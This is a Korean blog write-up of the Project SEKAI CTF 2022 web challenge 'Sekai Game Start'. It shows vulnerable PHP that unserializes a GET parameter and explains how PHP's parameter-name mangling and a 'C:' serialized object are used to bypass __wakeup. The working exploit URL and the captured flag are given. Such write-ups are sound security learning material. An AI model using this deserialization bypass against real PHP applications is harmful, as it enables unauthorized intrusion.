728x90
Web - Sekai Game Start
https://ctf.sekai.team/challenges#Sekai-Game-Start-28
첫 화면
/flag.php를 입력하면 빈 화면만 나온다.
[문제 코드]
코드를 보면서 $_GET['sekai_game.run']이므로 sekai_game.run을 입력받고..$start라는 변수?가 맞을 때 Sekai Game이 시작되면서 flag를 보여주는 것 같다고 생각했다.
<?php
include('./flag.php');
class Sekai_Game{
public $start = True;
public function __destruct(){
if($this->start === True){
echo "Sekai Game Start Here is your flag ".getenv('FLAG');
}
}
public function __wakeup(){
$this->start=False;
}
}
if(isset($_GET['sekai_game.run'])){
unserialize($_GET['sekai_game.run']);
}else{
highlight_file(__FILE__);
}
?>
그래서 $start=flag, $start=sekai 등을 입력해보았지만 모두 처음과 같은 화면이 나왔다.
sekai_game.run 이라는 GET 파라미터를 받아서, 그 내용 값을 unserialize 함수에 넘겨주는 것으로 Flag값이 출력되도록 해야하는 문제이다.
sekai_game.run 이라는 이름의 GET 파라미터를 어떻게 받아와야하는지 생각해봤다. PHP에서는 보통 파라미터로 . 이라는 문자가 들어오면 _로 변경한다.
https://www.php.net/manual/en/language.variables.external.php#81080
위 링크를 통해서 왼쪽 대괄호 기호( [)가 _로 변환 된다는 것을 알 수 있었다. 그러나 이전 PHP 버전(8 이전)에서는 [와 .함께 표시 되면 버그로 인해 제대로 탈출하지 못한다. 따라서 페이로드가 유효하다.
/?sekai[game.run=C:10:"Sekai_Game":0:{}
SEKAI{W3lcome_T0_Our_universe}
'CTF' 카테고리의 다른 글
[Swing CTF] Web-Ayaya (0) | 2022.11.26 |
---|---|
[Swing CTF] Reversing-EasyXOR (0) | 2022.11.25 |
[Project SEKAI CTF 2022] Crypto - Time Capsul (0) | 2022.11.17 |
[Project SEKAI CTF 2022] Forensics - Broken Converter (0) | 2022.11.17 |
[Project SEKAI CTF 2022] Web - Bottle Poem (0) | 2022.10.01 |